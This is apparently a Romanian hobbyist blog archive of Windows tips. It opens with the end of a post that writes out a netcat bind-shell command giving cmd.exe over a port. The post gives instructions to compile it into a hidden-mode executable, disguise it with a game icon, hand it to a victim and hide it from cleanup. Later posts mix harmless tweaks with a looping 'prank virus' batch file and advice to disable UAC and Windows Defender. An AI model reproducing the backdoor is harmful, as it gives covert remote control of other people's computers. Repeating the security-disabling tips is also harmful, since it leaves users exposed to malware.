C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
.................................................. ..........................................

de mai multe ori !!de vreo 100 de ori !
dupa aia fisierul System.bat il compilam cu Quick Batch File si avem un fisier System.exe
ATENTIE!!! trebuie a aiba optiunea HIDE MODE activa!!! pt ca executarea a se faca ascnus fara ca victima sa vada!!
daca vreti si sunteti mai luxosi puteti sa compilati si START.bat si sa ii schimbati pictograma in ua rmoasa de la un joc de ex si ii dati la un lamer si gata!

Avantaje e mic are 352 Kb nu il vede nici un antivirus si nici nu il va vedea vreodata cred

Nu imi ausm nici un fel de responsabilitate pt fatele savarsite de d-voastra in urma ciiri acestui articol !!!

As mai adauga ceva, si anume locul in care se pune fisierul. C:windowstemp nu e locul potrivit pentru ca un user care are cat de cat habar stie ca e bine sa stergi fisierele temporare din cand in cand. Ar fi mult mai sanatos sa se puna in C:windowssystem32 sau in program files in directorul unui program folosit care sigur nu il sterge (AV-ul, YM etc).

Editati meniul send to

2009-10-30T20:46:00.001+02:00

Editati meniul send to

In momentul in care faceti click dreapta pe un fisier si alegeti Send To, optiunile de meniu va permit sa-l copiati fie pe unitatea A: fie in directorul My Documents, ori in diferite alte locatii.Puteti adauga elemente de meniu pentru a copia fisiere in orice director doriti.Navigati la C:\Documents and Settings\user-name\send to daca utilizati Windows 2000 sau XP,sau C:\Windows\send to in care folositi windows 98 sau ME.Daca nu gasiti folderol pe care il cautati, selectati Folder Options din meniul Tools, faceti click pe ureche Wiew si marcati optiunea Show hidden files and folders.Selectati folderul dorit intr-o fereastra Explorer separate.Apasand butonul dreapta al mouse-lui trageti-l in directorul Send to si alegeti Create Shortcut Here.Redenumiti legatura asa cum doriti sa apara in meniuyl Send To.

Creati un Cd cu autoplay

2009-10-30T20:45:00.001+02:00

Creati un Cd cu autoplay

CD-urile cu aplicatii pe care le cumparati se lanseaza in executie automat dup ace le-ati introdus in unitate, iar cd-urile pe care le-ati scris acasa pot fi facute la fel.Aceste CD-uri pot porni fie un program de instalare, fie pot afisa o pagina HTML care prezinta continutul discului.
Utilizati Notepad pentru a crea un fisier text de trei linii dupa cele de josa si denumiti-l Autorun.inf.Copiati acest fisier in radacina CD-ului.

[autorun]
open=setup.exe
icon=icon.ico

Inlocuiti setup.exe cu aplicati pe care o doriti lansata la introducerea CD-ului si inlocuiti icon.ico cu fisierul care contine iconul CD-ului.Aveti grija in ambele cazuri sa omiteti litera unitatii .daca doriti sa lansati un element neexutabil, cum ar fi un fisier HTML, introduceti in fata lui comanda start.exe in linia open=.Aveti grija ca toate legaturile din fisierul HTML sa fie relative sis a nu contina referiri la litera unitatii.

Mutati directorul My Documents

2009-10-30T20:44:00.000+02:00

Stocarea directorului My Documents pe o alta partitie decat cea a sistemului de operare va poate scuti de multe dureri de cap in cazul in care sunteti nevoiti sa reformatati partitia de boot. Puteti de asemenea sa-l stocati pe o resursa de retea partajata careia I sa fac periodic salvari de siguranta.click dreapta pe My Documents pe spatial de lucru sau in meniul Start si alegeti Properties.Click pe Find Target pentru a indica noua locatie, apoi OK.In campul Move Documents Faceti click pe yes pentru a muta documentele

Restaurati iconul Show Desktop

2009-10-30T20:43:00.002+02:00

Iconul show desktop din bara de instrumente quick launch nu este o legatura obisnuita.Daca il stergeti din intamplare- iar mesajele primite arata ca se intampla des - nu il veti putea recrea in modul in care faceti un shortcut la un program.I loc de aceasta lansati Notepad si introduceti urmatoarele linii:

[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop

Salvati fisierul sub numele Show desktop.scf in directorul C:\Documents and Settings\ username\Application Data\Microsoft\Internet Explorer\Quick Launch , inlocuind username cu numele contului de utilizator actual.

Accelerati viteza de transfer din retea

2009-10-30T20:43:00.001+02:00

Viteza de transfer în reţea este cam mică. Cum o pot accelera?Puteţi elibera porţiunea de bandă folosită de conexiunile de tip Ethernet şi broadband. Când protocolul Quality of Service (QoS) este activat pentru plăcile Ethernet, poate ocupa 20% din banda de transfer. Dacă reţeaua pe care o utilizaţi nu foloseşte acest protocol, o cincime din lăţimea de bandă este ocupată abuziv. Puteţi scăpa de acest inconvenient şi mări viteza de transfer astfel: IUI Accesaţi Start Run şi tastaţi ?gpedit.msc'". Prin această comandă se va lansa editorul Group Policy, o unealtă foarte importantă în configurarea XP-ului. Navigaţi până la Local ComputerIn partea dreaptă a ferestrei daţi dublu clic pe funcţia Limit reservable bandwidth.In fereastra care se deschide bifaţiopţiunea Enabled şi tastaţi în câmpul Bandwidth Unit (%) valoarea 0.

Imbunatatiti viteza firefox-ului

2009-10-30T20:42:00.001+02:00

Daci vrei si îmbunătăţeşti viteza Firefox-ului există un mic truc,foarte uşor de pus în practică:Scrie în bara de adresă "about:config" şi apasă tasta EnterDerulează pagina şi modifica următoarele secvenţe de cod, astfel:network.http.pipelining: truenetwork.http.proxy pipelining: truenetworx http.pipeling.maxrequests (aici trebuie să treci numărul maxim de cereri pe care să le adreseze browserul).Fă un clic-dreapta şi selectează "New” ? Integer si denumeste-o nglayout.initialpaint.delay si setează valoarea 0(aceasta valoare este timpul dupa care navigatorul proceseaza informatia primita).

Cum sa faci un virus tip PRANK

2009-10-30T20:39:00.001+02:00

Pentru a crea un virus tip prank trebuie sa creati un document text cu urmatoarele linii de cod:

@echo off
echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTATTING ANTIVIRUS...
pause
echo DO YOU WANT TO DELETE THE VIRUS?
pause
echo ACCES DENIED!
echo ACCES DENIED!
echo ACCES DENIED!
pause
echo ACTIVATING VIRUS
echo VIRUS ACTIVATED!!!
pause
:1
dir/s
goto 1

Salvati fisierul "numefisier.bat".
Puteti adauga un titlu si culoare. Intre prima(@echo off) si a doua linie(echo YOU HAVE A VIRUS ON YOUR COMPUTER) adaugati atributele pt titlu si culoare:

title VIRUS
color 04

culori:
00 - negru
01 - albastru
02 - verde
03 - albastru marin
04 - rosu
05 - violet
06 - galben
07 - alb
08 - gri
09 - albastru deschis
A -verde deschis
B - albastru marin deschis
C - rosu deschis
D - violet deschis
E - galben deschis
F - alb stralucitor

Cum sa faci un folder invizibil

2009-10-30T20:38:00.001+02:00

Urmeaza urmatorii pasi pentru a crea un folder invizibil:
1-creati un folder nou
2-redenumiti folderul 0160(in timp ce scrieti numele folderului 0160 tineti apasta tasta "ALT)
3-schimbati iconita (click dreapta pe folder -> properties, selectati tabul customize si click pe change icon. Va aparea o fereastra cu multe iconite. Unele sunt doar spatii goale. Selectati iconita goala si click aply

Trucuri Vista

2009-10-30T20:36:00.001+02:00

Daca Windows Vista merge incet s-au gasit cativa oameni care sa faca o lista cu trucuri pentru marirea vitezei in noul sistem de operare al Micro$oft. Sfaturile nu difera mult fata de cele pentru marirea vitezei in XP, tot pe “opreste chestiile nefolositoare” se bazeaza.

•Daca aveti probleme la unele jocuri in sensul ca nu gaseste unele dll-uri ptr DirectX, va recomand sa instalati DirectX 9.0c full, urmat de ultimul update ( din februarie, redistributabilul nu mai contine decat update-urile de DirectX din cate am observat ). Se poate, fara sa afecteze DirectX 10 ce vine direct cu Vista

•Dezactivare minimize-maximize animatie : mergeti in Computer,pe toolbar-ul acela verde dati click pe System Proprietes,apoi in stanga alegeti Advanced System Settings,apoi Advanced.Acum din cate se observa sunt 3 Butoane “Settings” , il alegeti pe cel de sus,de la Performance,apoi alegeti Custom si debifati optiunea “Animate windows when minimizing and maximizing” , dati Apply apoi OK.Dupa aplicare se va activa tema Vista Basic. Intrati si activati tema Aero si gata, nu mai aveti efecte animate la mini-maximizare si close&open

•Schimbarea Scorului obtinut din performantele pc-ului : mergeti in C:/Windows/Performance/WinSAT/DataScore si veti gasi un fisier XML care are ca titlu o data.Click dreapta ,alegeti Open With>Notepad si modificati dupa placul vostru.

•Sporirea vitezei de boot : Intrati in TaskManager,in tabul Applications jos se afla New Task… , click, tastati msconfig,mai nou pe Vista avem si Tabul Services,dezactivati de acolo tot ce nu va ajuta,mare atentie la ce dezactivati!!De asemenea tot in msconfig langa Services mai avem si StartUp , dezactivati si de acolo programele care nu vreti sa ruleze automat la pornire.

•Dupa instalare, vreti sa faceti câteva modificari de sistem. Va enerveaza insa faptul ca primiti mesaje de avertizare in mod constant si fiecare actiune trebuie confirmata de doua ori.
Puteti sa inchideti temporar User Account Control, pentru a configura sistemul fara enervantele mesaje de avertizare. Reactivati controlul in acelasi mod in care il veti dezactiva, repetând pasii de mai jos.
Exista doua optiuni pentru inchiderea sa: prima este sa dati dublu clic pe “User Accounts” si apoi pe “Switch on or switch off user account control” in Control Panel. Confirmati procesul cu “Next”. Dezactivati apoi “Use user account control to contribute to the protection of the computer” si confirmati cu “OK”.
Tot ceea ce trebuie sa faceti este sa restartati, procedura ce poate fi initiata direct din fereastra de dialog. Puteti sa activati si sa dezactivati functia chiar si prin intermediul programului de configurare “msconfig”. Pentru aceasta, tipariti “msconfig” in câmpul de cautare din meniul de start si apasati Enter. Apasati pe tab-ul “Tools”. Selectati aici “Disable user account control” si clic “Start”. Restartati sistemul.

•Oprirea Windows Search Indexing
Windows Vista indexeaza in permanenta fisierele computerului pentru a le face mai usor accesibile in cazul cautarilor, o optiune folositoare, dar care afecteaza mult performanata sistemului deja chinuit d sistemul de operare.
Pentru a dezactiva indexarea continua:

Apasati pe Start, apoi pe Computer

Click dreapta pe drive-ul C:
In General Tab, debifati Index this drive pentru o cautare mai rapida

In casuta urmatoare, selectati Include subfolders and files

•Oprierea Remote Differential Compression
Remote Differential Compression masoara schimbarile in fisierele dintr-o retea pentru a le transfera cu cat mai mare economie de banda, decat sa transfere intregul fisier. Verificand in mod constant schimbarile dintr-un fisier, acest serviciu poate sa incetineasca sistemul.
Pentru a dezactiva acest serviciu:Deschideti Control Panel
Treceti la Classic View
Selectati Program Features
Alegeti Turn Windows features on and off
Debifati Remote Differential Compression de mai jos

•Dezactivati User Access Control (UAC)
Aceasta optiune a Windows Vista este de-a dreptul dispretuita de majoritatea utilizatorilor. In incercarea de a va proteja de malware, UAC va obliga sa confirmati zeci de optiuni de-a dreptul banale. Puteti dezactiva aceasta optiune, si astfel nu numai ca sistemul va merge mai repede, dar veti scapa de stresul cauzat de ea.
Pentru a dezactiva User Access Control:

Click pe Start apoi Control Panel
Selectati User Accounts
Selectati Turn User Account Control on or off
Debifati casuta cu User Access Control
Daca va fi nevoie, restartati sistemul.

•Dezactivati serviciile Windows inutile din Startup
La fel ca la XP, Vista vine cu tot felul de servicii care se incarca de fiecare data cand porniti sistemul, desi majoritatea utilizatorilor nici nu le folosesc.

Pentru a vedea ce porneste la startup si a debifa serviciile inutile (care pot fi totusi re-pornite mai tarziu):

Click Start apoi Control Panel
Selectati Administrative Tools
Alegeti System Configuration
Click pe tabul Services
Puteti debifa in siguranta:
Offline Files (decat daca nu folositi Offline File Sync)
Tablet PC Input Service (decat daca, evident, aveti un tablet PC)
Terminal Services
Windows Search (daca ati deselectat deja indexarea)
Fax (decat daca folositi un fax modem)

•Oprirea Automatic Windows Defender Operation
Windows Defender ofera protectie in timp real impotriva malware, si continua sa ruleze desi operatia Automatic a fost dezactivata.
Pentru a dezactiva definitiv aceasta optiune:

Porniti Control Panel
Selectati Windows Defender
Alegeti Tools din meniul de sus
Selectati Options
Debifati Auto Start

•Oprirea Automatic Disk Defragmentation
Optiunea continua de defragmentare nu este chiar atat de necesara si poate incetini sistemul. Astfel, o puteti opri, daca tineti minte sa faceti o defragmentare saptamanala.
Pentru a o opri:

Apasati pe Start apoi Computer
Click dreapta pe drive-ul C:
Selectati tabul Tools
Debifati Run on a schedule

•Adaugati un Flash USB de 2GB (sau chiar si mai mare) pentru a beneficia de avantajul Windows Ready Boost (care ofera un Memory Cache aditional). Ready Boost este optiunea Microsoft prin care puteti folosi un flash USB care va fi folosit drept RAM. Ready Boost, in mod evident, va poate imbunatati performantele sistemului.
Pentru a-l porni:

Introduceti un Flash USB
Apasati Start then Computer
Click dreapta pe USB Drive din My Computer
Selecttabul Ready Boost
Alegeti Use this device
Selectati cat mai mult spatiu pentru a-l putea folosi ca si RAM

•Dezactivati Optiunile Windows in exces
Windows Vista vine si cu o groaza de alte optiuni care sunt listate separat de cele de mai sus.
Le puteti vedea si dezactiva astfel:

Click pe Start apoi Control Panel
Selectati Program Features
Pe coloana din stanga, selectati Turn Windows Features on or off
Puteti dezactiva in siguranta:
Serviciul de indexare
Remote Differential Compression
Tablet PC Optional Components
Windows DFS Replication Service
Windows Fax & Scan (decat daca nu folositi un modem pentru a trimite faxuri
Windows Meeting Space (decat daca nu folositi Live Meeting Service

•Oprirea Windows Hibernation
Serviciile din background ale Windows hibernation pot folosi o cantitate semnificativa din sistemul vostru. Daca nu vreti sa folositi optiunea Hibernate prea des puteti s-o dezactivati, crescand astfel performantele sistemului.
Pentru a dezactiva Hibernarea:

Selectati Control Panel,apoi Power Options.Click pe Change Plan Settings;Click pe Change Adwanced Power Settings;Mariti categoria Sleep;Mariti categoria Hibernate After;Selectati zero;Click pe Applay

•Oprirea System Restore
Desi este foarte utila, optiunea System Restore va poate manca din resurse. Puteti s-o dezactivati, dar in eventualitatea unei crize a sistemului aceasta nu va fi disponibila.
Pentru a dezactiva acest serviciu:

Control Panel>System
Click pe System Protection in panou din stanga

Debifati drive-ul principal;Confirmati dezactivarea

Trucuri pentru WindowsXP

2009-10-30T20:08:00.000+02:00

Trucuri pentru WindowsXPWindows XP este cu siguranta cel mai bun sistem de operare al Microsoft de pana acum, dar, si asa, este departe de a fi perfect.

Este cunoscut faptul ca sistemele de operare, in general, au nevoie de mici retusuri pentru a functiona in parametrii doriti de utilizatori (si nici cele de la Microsoft nu fac exceptie).Cel mai important beneficiu pe care il pot aduce aceste "trucuri" este obtinerea unui spor de viteza, de aceea majoritatea celor pe care le veti gasi in acest articolul sunt orientate in acest sens.
Este important de stiu ca aceste asa-numite trucuri presupun editari la nivel de registri, ceea ce poate duce la functionarea improprie a sistemului de operare sau a aplicatiilor.De aceea, este recomandat sa se faca back-up complet al registrilor sau macar exportarea cheii ce urmeaza sa fie modificata.

Oprirea serviciului de indexare

Serviciul de indexare mentine evidenta fisierilor de pe harddisk in scopul accelerarii procesului de cautare.Pentru acest lucru sunt sacrificate resurse importante de memorie si, mai ales, este accesat des harddisk-ul.In plus, multi utilizatori folosesc alte programe pentru cautare , mai "dotate" in acest sens, cum ar fi Total Comander, ceea ce duce la pierderea utilitatii acestui serviciu.De aceea, dezactivarea sa reprezinta o solutie viabila pentru cresterea vitezei sistemului. Aceasta se poate realiza pe doua cai:una ar fi dezinstalarea din Control Panel,Add/Remove Programs/Windows components/Indexing Service;o metoda mai "eleganta" ar fi oprirea sa.Aceasta se poate face din Control Panel,Administrative Tools/Computer Management, iar de la Service and Applications se selecteaza Service;un dublu click pe indexing Service deschide fereastra properties: mai intai este necesara oprirea serviciului (butonul Stop este mai mult decat sugestiv in acest sens), apoi de la status type se poate selecta Disable, fie manual(pentru evitarea pornirii automate la initializarea sistemului)

Dezactivarea avertizarii "LOW DISK SPACE"

Cand spatiul de pe harddisk este ocupat aproape in intregime, Windows XP afiseaza un mesaj de tip "baloon" prin care avertizeaza utilizatorul asupra acestui lucru.Sunt situatii in care nu este posibila eliberarea spatiului de pe harddisk, iar afisarea repetata a mesajului devine iritanta. Dezactivarea acestuia se face in modul urmator: se porneste Registry Editor _in fereastra Run se testeaza regedit) si se navigheaza la HKEY_CURRENT_USER/Software/Microsoft?windows?CurrentVersion/Policies/Explorer; click dreapta intr-un spatiu liber, iar din meniul contextual se selecteaza New.DWORD Value; la nume se va treceNoLowDiskSpaceChecks, iar la valoare 1.Pentru activare este necesara restartarea sistemului.

Dezinstalarea lui Windows Messenger

Windows Messenger este serviciul de Instant Messaging de la Microsoft, activat implicit de sistemul de operare, care porneste odata cu Outlook Express 6 din Windows XP.Pentru dezactivarea sa, multi utilizatori au recurs la metode mai putin ortodoxe, cum ar fi redenumirea executabilului sau stergerea completa a folderului, deoarece cei de la microsoft au ascuns(la propriu) intrarea din Add/Remove Programs prin care era posibila dezinstalarea sa. In C:\Windows exista un folder ascuns,Inf, in care se gaseste fisierul sysoc.inf, "msmgs=msgrocm.dll, OcEntry,msmsgs.inf, hide, 7".eliminarea cuvantului hide din aceasta linie face posibila dezinstalarea lui Windows Messenger prin intermediul lui Add/Remove Peograms din Control Panel.Aceasta solutie poate fi aplicata si in alte aplicatii care nu sunt vizibile in Add/Remove Peograms.

Optimizarea sisitemului de fisiere NTFS

NTFS este un sistem de fisiere consumator de resurse, care afecteaza in mod direct viteza de rulare a sistemului deoperare.Acesta utilizeaza asa-numitul MFT(Master File Table) pentru stocarea informatiilor necesare incarcarii sistemului de operare.In timp , MFT-ul creste in dimensiune si devine fragmentat,fapt care duce la scaderea vitezei de accesare a informatiei.Evitarea acestui aspect este posibila prin alocarea unui spatiu mai mic MTF-ului.In registrii din Windows, la HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control|File System, se creeaza o inregistrare de tipul DWORD denumita "NtfsMftZoneRezervation"care trebuie sa ia valoarea 2.
O alta facilitate consumatoare de resurse a sistemului NTFS(mai ales in cazul harddisk-urilor de mari capacitati pe care sunt stocate zeci de mii de fisiere si foldere) este actualizarea automata a campurilor referitoare la data ultimei accesari a fisierelor si folderelor.Dezactivarea acesteia este posibila tot prin intermediul registrilor, si anume prin setarea valorii 1 a inregistrarii"DisableNTFSLastAccesUpdate" de la HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\FileSystem.

Page File mai rapid

Page File este corespondentul lui Swap File din Windows 98 si are acelasi scop, si anume salvarea pe harddisk a celor mai des accesate informatii pentru eliberarea memoriei RAM.In timp, fisierul pagesile.sys devine fragmentat, ducand la scaderea performantei.Pentru optimizare, sunt recomandate stergerea si recrearea acstuia la inchidere, respectiv deschiderea sistemului de operare.In registri, la HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager, se creeaza o intrare DWORD cu Denumirea "ClearPageFileAtShutdown" cu valoarea 1.

Lucreaza cu tastatura pe ecran

2009-10-30T18:03:00.004+02:00

Daca cumva ti s-a sticat tastatura si nu ai cum sa mai vb cu prietenii pe messenger ,nu intra in panica.Iti pun la dispozitie un truc care sa te scoata din incurcatura asta.

Dai Start apoi Run si acolo scrie osk iar apoi dai ok.
O sa ma intrebi ¨Dar cum sa scriu daca nu imi merge tastatura?¨. Poti intra pe orice pagina web si copia din cate un cuvant literele ¨o¨, ¨s¨ ,¨k .

Daca in vista nu gasesti Run in meniul Start scrie in casuta de cautare Run si iti va aparea.¨

Ai din nou acces la unitatile de CD-ROM

2009-10-30T18:00:00.002+02:00

Daca vreodata vi s-a intamplat sa va dispara pur si simplu unuitatile de CD-Rom din My Computer (lucru ce i s-a intamplat recent fratelui meu) atunci singurul lucru care va poate ajuta este urmatorul :

Dai Start- iar in casuta de cautare dai regedit.exe
Odata intrat urmezi calea KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}
Odata intrat in folderul respectiv tot ce trebuie sa faci este sa stergi UpperFilter si LowersFilter .

Acum dai un restart la calculator si vei avea placuta surpriza sa vezi iarasi unitatile de Cd-ROM in My computer

Logare automata in XP

2009-10-30T17:59:00.002+02:00

Exista un truc foarte simplu sa va logati automat in Vista,sarind asa peste procesul de indentificare.
Dam Start si in casuta de cautare (Search) scriem Run.

Cel mai usor este sa va Activati Run si odata activat si deschis scrieti:
control userpasswords2
In fereastra ce se deschide trebuie doar sa deselectam casuta

¨The user should enter their name and password to use the computer¨
Acum nu mai e nevoie sa scriem parola de fiecare data cand deschidem calculatorul.

Mesaj la pornirea calculatorului

2009-10-30T17:58:00.001+02:00

Va pun la dispozitie un truc foarte interesant,si anume cum sa faceti sa va apara inainte de intrarea in Windows(pana sa scrie Start) un mesaj(de bun venit,de avertizare,cum doriti voi).

Dati Start si in casuta de cautare scrieti regedit.exe .Dati dublu clic pe el dupa ce il gaseste si Acceptar.
Acum urmati calea de mai jos :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

unde modificati(dand dublu clic si scriind in casuta goala din partea de jos jos)
legalnoticecaption .Ceea ce veti scrie aici va aparea ca denumirea ferestrei in care va va aparea mesajul.

Apoi mai modificati legalnoticetext .Aici ceea ce veti scrie va aparea in fereastra ce va contine mesajul vostru.
Apoi ca un ultim pas dati Restart.
Eu ca un mic exemplu am scris asa:
La prima modificare : Avertizare importanta de la Windows.

La a doua modificare: Tot ceea ce vei face pe calculator va fi inregistrat in registrii sistemului.Suntem cu ochii pe tine.
Asta pentru a descuraja orice persoana din casa care intra pe calculator fara aprobarea mea(din comoditate nu am parola)

Deschide un program cu o combinatie de taste

2009-10-30T17:55:00.001+02:00

Daca te-ai plictisit sa deschizi programele ce le ai pe calculator dand dublu clic pe icoanele lor de pe ecran(Desktop) atunci iti pun la dispozitie un mic truc care te va ajuta sa deschizi un program printr-o combinatie de taste.
Dai clic dreapta pe icoana de pe ecran a programului caruia vrei sa ii atribui o combinatie de taste si alege Properties.
Apoi dai la unde scrie Shorcut key iar in casuta de text apesi tasta cu care vrei sa deschizi programul.
Pentru tastele normale din alfabet windows va adauga CTRL+ALt.
Ex daca apesi F ,windows va pune ca si combinatie de taste CTRL+ALT+F
Daca vrei doar o singura tasta poti folosi tastele F1...F12
Nota:In xp dupa ce ai dat la Properties(cu clic dreapta pe icoana de pe ecran) dai la Tab-ul Shortcut de unde selectezi campul ¨Shortcut key¨

Sa nu iti apara mesajul Low Disk Space

2009-10-30T17:49:00.001+02:00

Daca vrei sa nu te mai streseze mesajul ¨Low disk space¨ atunci cand ai hardul plin dai Start si in casuta de cautare dai regedit.exe
Du-te la
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
Iar aici daca nu este,creaza un DWORD(clic dreapta) care sa se numeasca NoLowDiskSpaceChecks si ii schimbi valoarea la 1. Apoi dai restart la calculator.

Dezactivati raportarea erorilor in XP

2009-10-30T17:44:00.001+02:00

O caracteristica deranjanta in Windows XP este aceea ca atunci cand pica un program Windows ne trimite un mesaj pe ecran cu rugamintea sa trimitem un raport cu privire la eroarea respectiva.Pe mine unul nu ma deranjeaza asa ca va pun si voua la dipozitie calea de a anula acest mesaj de la Windows:

Deschide Control Panel
Faceti Click pe PERFORMANCE and MAINTENANCE
Faceti click pe System
Apoi pe Advanced Tab
Faceti click pe butonul de raportare de eroare din partea de jos a ferestrei
Selectati "Disable error reporting"
Click OK